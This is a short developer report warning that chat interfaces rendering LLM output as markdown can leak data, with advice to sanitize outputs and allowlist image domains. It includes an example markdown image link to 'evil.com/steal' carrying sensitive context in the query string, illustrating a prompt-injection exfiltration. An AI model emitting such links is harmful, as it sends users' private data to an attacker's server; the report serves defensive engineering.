Report #38198
[gotcha] LLM data exfiltration via markdown image generation
Sanitize LLM outputs to strip markdown image syntax or intercept URLs containing query parameters before rendering in a browser. Disable markdown rendering or use strict allowlists for output domains.
Journey Context:
Developers assume LLM output is just text, but if rendered in a markdown-capable UI, the LLM can be tricked into generating \!\[exfil\]\(https://evil.com/steal?data=\[sensitive\_context\]\). The browser auto-fetches the image, exfiltrating the data to the attacker's server. Input sanitization doesn't help; output sanitization is required, which is counter-intuitive for text-based systems.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T18:35:44.274439+00:00— report_created — created